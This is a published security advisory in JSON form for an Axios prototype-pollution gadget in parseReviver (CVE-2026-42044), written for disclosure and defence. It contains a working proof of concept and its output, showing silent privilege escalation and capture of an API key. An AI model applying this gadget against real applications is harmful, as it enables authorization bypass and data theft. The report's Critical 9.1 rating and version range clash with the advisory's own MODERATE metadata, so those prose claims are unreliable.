CVE-2026-42044: Axios Invisible JSON Response Tampering Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3w6x-2g7m-8v23",
  "modified" : "2026-05-05T00:19:33Z",
  "published" : "2026-05-05T00:19:33Z",
  "aliases" : [ "CVE-2026-42044" ],
  "summary" : "Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`",
  "details" : "# Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **surgical, invisible modification of all JSON API responses** — including privilege escalation, balance manipulation, and authorization bypass.\n\nThe default `transformResponse` function at `lib/defaults/index.js:124` calls `JSON.parse(data, this.parseReviver)`, where `this` is the merged config object. Because `parseReviver` is **not present in Axios defaults, not validated by `assertOptions`, and not subject to any constraints**, a polluted `Object.prototype.parseReviver` function is called for **every key-value pair** in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.\n\nThis is **strictly more powerful** than the `transformResponse` gadget because:\n1. **No constraints** — the reviver can return any value (no \"must return true\" requirement)\n2. **Selective modification** — individual JSON keys can be changed while others remain untouched\n3. **Invisible** — the response structure and most values look completely normal\n4. **Simultaneous exfiltration** — the reviver sees the original values before modification\n\n**Severity:** Critical (CVSS 9.1)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/defaults/index.js:124` (JSON.parse with prototype-inherited reviver)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-915:** Improperly Controlled Modification of Dynamically-Determined Object Attributes\n\n## CVSS 3.1\n\n**Score: 9.1 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the application process |\n| Confidentiality | **High** | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: \"sk-secret-internal-key\"` is captured |\n| Integrity | **High** | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: \"viewer\" → \"admin\"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values |\n| Availability | None | No crash, no error — the attack is entirely silent |\n\n### Comparison with All Known Axios PP Gadgets\n\n| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | **parseReviver (This)** |\n|---|---|---|---|---|\n| PP target | `Object.prototype['header']` | `Object.prototype.transformResponse` | `Object.prototype.proxy` | `Object.prototype.parseReviver` |\n| Fixed by 1.15.0? | Yes | No | No | **No** |\n| Constraints | N/A (fixed) | **Must return `true`** | None | **None** |\n| Data modification | Header injection only | Response replaced with `true` | Full MITM | **Selective per-key modification** |\n| Stealth | Request anomaly visible | Response becomes `true` (obvious) | Proxy visible in network | **Completely invisible** |\n| Data access | Headers only | `this.auth` + raw response | All traffic | **Every JSON key-value pair** |\n| Validated? | N/A | `assertOptions` validates | Not validated | **Not validated** |\n| In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | **No → bypasses mergeConfig** |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), the polluted `parseReviver` function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.\n\n## Root Cause Analysis\n\n### The Attack Path\n\n```\nObject.prototype.parseReviver = function(key, value) { /* malicious */ }\n         │\n         ▼\n  mergeConfig(defaults, userConfig)\n         │\n         │  parseReviver NOT in defaults → NOT iterated by mergeConfig\n         │  parseReviver NOT in userConfig → NOT iterated by mergeConfig\n         │  Merged config has NO own parseReviver property\n         │\n         ▼\n  transformData.call(config, config.transformResponse, response)\n         │\n         │  Default transformResponse function runs (NOT overridden)\n         │\n         ▼\n  defaults/index.js:124: JSON.parse(data, this.parseReviver)\n         │\n         │  this = config (merged config object, plain {})\n         │  config.parseReviver → NOT own property → traverses prototype chain\n         │  → finds Object.prototype.parseReviver → attacker's function!\n         │\n         ▼\n  JSON.parse calls reviver for EVERY key-value pair\n         │\n         │  Attacker can: read original value, modify it, return anything\n         │  No validation, no constraints, no assertOptions check\n         │\n         ▼\n  Application receives surgically modified JSON response\n```\n\n### Why `parseReviver` Bypasses ALL Existing Protections\n\n1. **Not in defaults** (`lib/defaults/index.js`): `parseReviver` is not defined in the defaults object, so `mergeConfig`'s `Object.keys({...defaults, ...userConfig})` iteration never encounters it. The merged config has no own `parseReviver` property.\n\n2. **Not in assertOptions schema** (`lib/core/Axios.js:135-142`): The schema only contains `{baseUrl, withXsrfToken}`. `parseReviver` is not validated.\n\n3. **No type check**: The `JSON.parse` API accepts any function as a reviver. There is no check that `this.parseReviver` is intentionally set.\n\n4. **Works INSIDE the default transform**: Unlike `transformResponse` pollution (which replaces the entire transform and is caught by `assertOptions`), `parseReviver` pollution injects into the DEFAULT `transformResponse` function's `JSON.parse` call. The default function itself is not replaced, so `assertOptions` has nothing to catch.\n\n### Vulnerable Code\n\n**File:** `lib/defaults/index.js`, line 124\n\n```javascript\ntransformResponse: [\n  function transformResponse(data) {\n    // ... transitional checks ...\n    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n      // ...\n      try {\n        return JSON.parse(data, this.parseReviver);\n        //                      ^^^^^^^^^^^^^^^^^\n        //                      this = config\n        //                      config.parseReviver → prototype chain → attacker's function\n      } catch (e) {\n        // ...\n      }\n    }\n    return data;\n  },\n],\n```\n\n## Proof of Concept\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Server returns a realistic authorization response\nconst server = http.createServer((req, res) => {\n  res.writeHead(200, { 'Content-Type': 'application/json' });\n  res.end(JSON.stringify({\n    user: 'john',\n    role: 'viewer',\n    isAdmin: false,\n    canDelete: false,\n    balance: 100,\n    permissions: ['read'],\n    apiKey: 'sk-secret-internal-key',\n  }));\n});\nawait new Promise(r => server.listen(0, r));\nconst port = server.address().port;\n\n// === Before Pollution ===\nconst before = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log('Before:', JSON.stringify(before.data));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\"balance\":100,...}\n\n// === Simulate Prototype Pollution ===\nlet stolen = {};\nObject.prototype.parseReviver = function(key, value) {\n  // Silently capture all original values\n  if (key && typeof value !== 'object') stolen[key] = value;\n  // Surgically modify specific values\n  if (key === 'isAdmin') return true;       // false → true\n  if (key === 'role') return 'admin';       // viewer → admin\n  if (key === 'canDelete') return true;     // false → true\n  if (key === 'balance') return 999999;     // 100 → 999999\n  return value;                              // everything else unchanged\n};\n\n// === After Pollution — same code, same URL ===\nconst after = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log('After: ', JSON.stringify(after.data));\n// {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\"balance\":999999,...}\n\nconsole.log('Stolen:', JSON.stringify(stolen));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,...,\"apiKey\":\"sk-secret-internal-key\"}\n\ndelete Object.prototype.parseReviver;\nserver.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n    response.data: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n                     \"balance\":100,\"permissions\":[\"read\"],\"apiKey\":\"sk-secret-internal-key\"}\n    isAdmin: false\n    role: viewer\n\n[2] Prototype Pollution: Object.prototype.parseReviver\n    Polluted with selective value modifier\n\n[3] Same request (after pollution):\n    response.data: {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\n                     \"balance\":999999,\"permissions\":[\"read\",\"write\",\"delete\",\"admin\"],\n                     \"apiKey\":\"sk-secret-internal-key\"}\n    isAdmin: true (was: false)\n    role: admin (was: viewer)\n    canDelete: true (was: false)\n    balance: 999999 (was: 100)\n\n[4] Exfiltrated data (stolen silently):\n    apiKey: sk-secret-internal-key\n    All captured: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n                   \"balance\":100,\"apiKey\":\"sk-secret-internal-key\"}\n\n[5] Why this bypasses all checks:\n    parseReviver in defaults? NO\n    parseReviver in assertOptions schema? NO\n    parseReviver validated anywhere? NO\n    Must return true? NO — can return ANY value\n    Replaces entire transform? NO — works INSIDE default JSON.parse\n```\n\n## Impact Analysis\n\n### 1. Authorization / Privilege Escalation\n\n```javascript\n// Server returns: {\"role\":\"viewer\",\"isAdmin\":false}\n// Application sees: {\"role\":\"admin\",\"isAdmin\":true}\n// → Application grants admin access to unprivileged user\n```\n\n### 2. Financial Manipulation\n\n```javascript\n// Server returns: {\"balance\":100,\"approved\":false}\n// Application sees: {\"balance\":999999,\"approved\":true}\n// → Application approves a transaction that should be rejected\n```\n\n### 3. Security Control Bypass\n\n```javascript\n// Server returns: {\"mfaRequired\":true,\"accountLocked\":true}\n// Application sees: {\"mfaRequired\":false,\"accountLocked\":false}\n// → Application skips MFA and unlocks a locked account\n```\n\n### 4. Silent Data Exfiltration\n\nThe reviver function receives the **original** value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.\n\n### 5. Universal and Invisible\n\n- Affects **every** Axios request that receives a JSON response\n- The response structure is intact — only specific values are changed\n- No errors, no crashes, no suspicious behavior\n- Application logs show normal-looking API responses with tampered values\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` check before using `parseReviver`\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')\n  ? this.parseReviver\n  : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n### Fix 2: Use null-prototype config object\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n### Fix 3: Validate `parseReviver` type and source\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = (typeof this.parseReviver === 'function' &&\n  Object.prototype.hasOwnProperty.call(this, 'parseReviver'))\n  ? this.parseReviver\n  : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n## Relationship to Other Reported Gadgets\n\nThis vulnerability shares the same **root cause class** — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:\n\n| Report | PP Target | Code Location | Fix Location | Impact |\n|---|---|---|---|---|\n| axios_26 | `transformResponse` | `mergeConfig.js:49` (defaultToConfig2) | `mergeConfig.js` | Credential theft, response replaced with `true` |\n| axios_30 | `proxy` | `http.js:670` (direct property access) | `http.js` | Full MITM, traffic interception |\n| **axios_31 (this)** | `parseReviver` | `defaults/index.js:124` (this.parseReviver) | `defaults/index.js` | **Selective JSON value tampering + data exfiltration** |\n\n### Why These Are Distinct Vulnerabilities\n\n1. **Different polluted properties:** Each targets a different `Object.prototype` key.\n2. **Different code paths:** `transformResponse` enters via `mergeConfig`; `proxy` is read directly by `http.js`; `parseReviver` is read inside the default `transformResponse` function's `JSON.parse` call.\n3. **Different fix locations:** Fixing `mergeConfig.js` (axios_26) does NOT fix `defaults/index.js:124` (this vulnerability). Fixing `http.js:670` (axios_30) does NOT fix this either. Each requires a separate patch.\n4. **Different impact profiles:** `transformResponse` is constrained to return `true`; `proxy` requires a proxy server; `parseReviver` enables constraint-free selective value modification.\n\n### Comprehensive Fix\n\nWhile each vulnerability requires a location-specific patch, the comprehensive fix is to use **null-prototype objects** (`Object.create(null)`) for the merged config in `mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: JSON.parse reviver](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#the_reviver_parameter)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified — selective response tampering confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "axios"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0"
      }, {
        "fixed" : "1.15.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42044"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/axios/axios"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321", "CWE-915" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T00:19:33Z",
    "nvd_published_at" : "2026-04-24T18:16:31Z"
  }
}